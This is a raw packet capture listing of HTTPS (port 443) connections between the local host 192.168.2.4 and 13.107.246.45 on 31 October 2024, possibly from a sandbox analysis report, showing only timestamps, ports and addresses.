Oct 31, 2024 17:27:28.705688953 CET	443	62999	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.705701113 CET	62999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.705707073 CET	443	62999	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.708576918 CET	63004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.708616972 CET	443	63004	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.708682060 CET	63004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.708955050 CET	63004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.708969116 CET	443	63004	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.739413977 CET	443	63001	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.739803076 CET	63001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.739823103 CET	443	63001	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.740242004 CET	63001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.740247011 CET	443	63001	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.744493961 CET	443	63000	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.744739056 CET	63000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.744764090 CET	443	63000	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.745064020 CET	63000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.745068073 CET	443	63000	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.877948046 CET	443	63000	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.878097057 CET	443	63000	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.878149986 CET	443	63000	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.878154039 CET	63000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.878201962 CET	63000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.878364086 CET	63000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.878380060 CET	443	63000	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.878390074 CET	63000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.878395081 CET	443	63000	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.881340981 CET	63005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.881378889 CET	443	63005	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.881457090 CET	63005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.881599903 CET	63005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.881623030 CET	443	63005	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.883975029 CET	443	63001	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.884291887 CET	443	63001	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.884458065 CET	63001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.884512901 CET	63001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.884524107 CET	443	63001	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.884541988 CET	63001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.884546041 CET	443	63001	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.886571884 CET	63006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.886615992 CET	443	63006	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.886694908 CET	63006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.886861086 CET	63006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.886874914 CET	443	63006	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.964818001 CET	443	63002	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.965462923 CET	63002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.965480089 CET	443	63002	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.965964079 CET	63002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.965967894 CET	443	63002	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.096592903 CET	443	63002	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.096815109 CET	443	63002	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.096864939 CET	63002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.096867085 CET	443	63002	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.097100019 CET	63002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.097100019 CET	63002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.097100019 CET	63002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.100986958 CET	63007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.101025105 CET	443	63007	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.101098061 CET	63007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.101967096 CET	63007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.101984978 CET	443	63007	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.237420082 CET	443	63003	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.238051891 CET	63003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.238080025 CET	443	63003	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.238552094 CET	63003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.238558054 CET	443	63003	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.372011900 CET	443	63003	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.372113943 CET	443	63003	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.372179031 CET	63003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.372407913 CET	63003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.372425079 CET	443	63003	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.372435093 CET	63003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.372441053 CET	443	63003	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.375571012 CET	63008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.375613928 CET	443	63008	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.375695944 CET	63008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.375897884 CET	63008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.375910997 CET	443	63008	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.398121119 CET	63002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.398139954 CET	443	63002	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.443083048 CET	443	63004	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.443541050 CET	63004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.443569899 CET	443	63004	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.444011927 CET	63004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.444015980 CET	443	63004	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.574163914 CET	443	63004	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.574224949 CET	443	63004	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.574316025 CET	63004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.574601889 CET	63004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.574623108 CET	443	63004	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.574635029 CET	63004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.574640036 CET	443	63004	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.578002930 CET	63009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.578084946 CET	443	63009	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.578224897 CET	63009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.578418016 CET	63009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.578452110 CET	443	63009	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.621690035 CET	443	63005	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.622267962 CET	63005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.622304916 CET	443	63005	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.622775078 CET	63005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.622783899 CET	443	63005	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.635374069 CET	443	63006	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.635898113 CET	63006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.635910988 CET	443	63006	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.636377096 CET	63006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.636380911 CET	443	63006	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.752157927 CET	443	63005	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.752265930 CET	443	63005	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.752422094 CET	63005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.752686024 CET	63005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.752712965 CET	443	63005	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.752732038 CET	63005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.752738953 CET	443	63005	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.755978107 CET	63010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.756021976 CET	443	63010	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.756114006 CET	63010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.756288052 CET	63010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.756304979 CET	443	63010	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.769126892 CET	443	63006	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.769202948 CET	443	63006	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.769263983 CET	63006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.769382000 CET	63006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.769398928 CET	443	63006	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.769408941 CET	63006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.769414902 CET	443	63006	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.771604061 CET	63011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.771694899 CET	443	63011	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.771783113 CET	63011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.771934032 CET	63011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.771985054 CET	443	63011	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.834472895 CET	443	63007	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.835026979 CET	63007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.835052967 CET	443	63007	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.835496902 CET	63007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.835504055 CET	443	63007	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.966104984 CET	443	63007	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.966352940 CET	443	63007	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.966511011 CET	63007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.966757059 CET	63007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.966784954 CET	443	63007	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.966795921 CET	63007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.966801882 CET	443	63007	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.970096111 CET	63012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.970149994 CET	443	63012	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:29.970251083 CET	63012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.970439911 CET	63012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:29.970453978 CET	443	63012	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.115422964 CET	443	63008	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.115968943 CET	63008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.116004944 CET	443	63008	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.116439104 CET	63008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.116447926 CET	443	63008	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.245675087 CET	443	63008	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.245779991 CET	443	63008	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.245830059 CET	63008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.245843887 CET	443	63008	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.245891094 CET	63008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.245975971 CET	63008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.246001005 CET	443	63008	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.246026993 CET	63008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.246033907 CET	443	63008	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.248807907 CET	63013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.248925924 CET	443	63013	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.249027014 CET	63013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.249150038 CET	63013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.249186993 CET	443	63013	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.300554037 CET	443	63009	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.301078081 CET	63009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.301143885 CET	443	63009	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.301587105 CET	63009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.301605940 CET	443	63009	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.428715944 CET	443	63009	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.428781986 CET	443	63009	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.428843021 CET	63009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.429073095 CET	63009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.429073095 CET	63009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.429114103 CET	443	63009	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.429137945 CET	443	63009	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.432575941 CET	63014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.432615995 CET	443	63014	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.432677984 CET	63014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.432837009 CET	63014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.432849884 CET	443	63014	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.498399019 CET	443	63010	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.498857975 CET	63010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.498888016 CET	443	63010	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.499342918 CET	63010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.499352932 CET	443	63010	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.503878117 CET	443	63011	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.504208088 CET	63011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.504234076 CET	443	63011	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.504580021 CET	63011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.504594088 CET	443	63011	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.630084038 CET	443	63010	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.630270958 CET	443	63010	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.630326986 CET	443	63010	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.630331993 CET	63010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.630384922 CET	63010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.630515099 CET	63010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.630533934 CET	443	63010	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.630551100 CET	63010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.630556107 CET	443	63010	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.633560896 CET	63015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.633630991 CET	443	63015	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.633728027 CET	63015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.633894920 CET	63015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.633925915 CET	443	63015	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.748143911 CET	443	63012	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.748766899 CET	63012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.748785973 CET	443	63012	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.749289036 CET	63012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.749294043 CET	443	63012	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.816992044 CET	443	63011	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.817168951 CET	443	63011	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.817228079 CET	63011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.817365885 CET	63011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.817425013 CET	443	63011	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.817460060 CET	63011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.817492962 CET	443	63011	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.823734999 CET	63016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.823786020 CET	443	63016	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.823868036 CET	63016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.824069023 CET	63016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.824088097 CET	443	63016	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.886800051 CET	443	63012	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.886873007 CET	443	63012	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.886935949 CET	63012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.886951923 CET	443	63012	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.887010098 CET	443	63012	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.887063026 CET	63012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.887214899 CET	63012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.887233019 CET	443	63012	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.887243032 CET	63012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.887249947 CET	443	63012	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.890130997 CET	63017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.890166998 CET	443	63017	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.890249968 CET	63017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.890412092 CET	63017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.890425920 CET	443	63017	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.980858088 CET	443	63013	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.981453896 CET	63013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.981518984 CET	443	63013	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:30.981920004 CET	63013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:30.981935024 CET	443	63013	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.109997988 CET	443	63013	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.110622883 CET	443	63013	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.110707045 CET	63013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.110750914 CET	63013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.110774994 CET	443	63013	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.110790968 CET	63013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.110799074 CET	443	63013	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.113917112 CET	63018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.113965988 CET	443	63018	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.114065886 CET	63018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.114247084 CET	63018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.114264965 CET	443	63018	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.189965963 CET	443	63014	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.204833984 CET	63014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.204857111 CET	443	63014	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.205393076 CET	63014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.205405951 CET	443	63014	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.331782103 CET	443	63014	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.331928968 CET	443	63014	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.331986904 CET	443	63014	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.332041025 CET	63014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.332257986 CET	63014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.332257986 CET	63014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.332545996 CET	63014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.332565069 CET	443	63014	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.335505009 CET	63019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.335550070 CET	443	63019	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.335644960 CET	63019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.335886002 CET	63019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.335901976 CET	443	63019	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.374530077 CET	443	63015	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.375083923 CET	63015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.375114918 CET	443	63015	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.375583887 CET	63015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.375591993 CET	443	63015	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.529823065 CET	443	63015	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.530437946 CET	443	63015	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.530524969 CET	63015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.530608892 CET	63015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.530632973 CET	443	63015	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.530647039 CET	63015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.530653954 CET	443	63015	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.533710957 CET	63020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.533777952 CET	443	63020	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.533850908 CET	63020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.534039021 CET	63020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.534054995 CET	443	63020	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.590492010 CET	443	63016	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.591049910 CET	63016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.591083050 CET	443	63016	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.591567993 CET	63016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.591573954 CET	443	63016	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.627830982 CET	443	63017	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.628599882 CET	63017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.628624916 CET	443	63017	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.629009962 CET	63017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.629014969 CET	443	63017	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.750677109 CET	443	63016	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.750705957 CET	443	63016	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.750849009 CET	63016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.750871897 CET	443	63016	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.750937939 CET	443	63016	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.750998020 CET	63016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.751137018 CET	63016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.751151085 CET	443	63016	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.751163006 CET	63016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.751167059 CET	443	63016	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.754239082 CET	63021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.754288912 CET	443	63021	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.754487991 CET	63021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.754704952 CET	63021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.754724026 CET	443	63021	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.756524086 CET	443	63017	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.756547928 CET	443	63017	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.756604910 CET	63017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.756623030 CET	443	63017	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.756725073 CET	443	63017	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.756762028 CET	63017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.756782055 CET	443	63017	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.756798029 CET	63017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.756798029 CET	63017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.756804943 CET	443	63017	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.756813049 CET	443	63017	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.758941889 CET	63022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.758985043 CET	443	63022	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.759056091 CET	63022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.759177923 CET	63022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.759188890 CET	443	63022	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.878974915 CET	443	63018	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.879581928 CET	63018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.879606009 CET	443	63018	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:31.880093098 CET	63018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:31.880096912 CET	443	63018	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.010005951 CET	443	63018	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.010037899 CET	443	63018	13.107.246.45	192.168.2.4
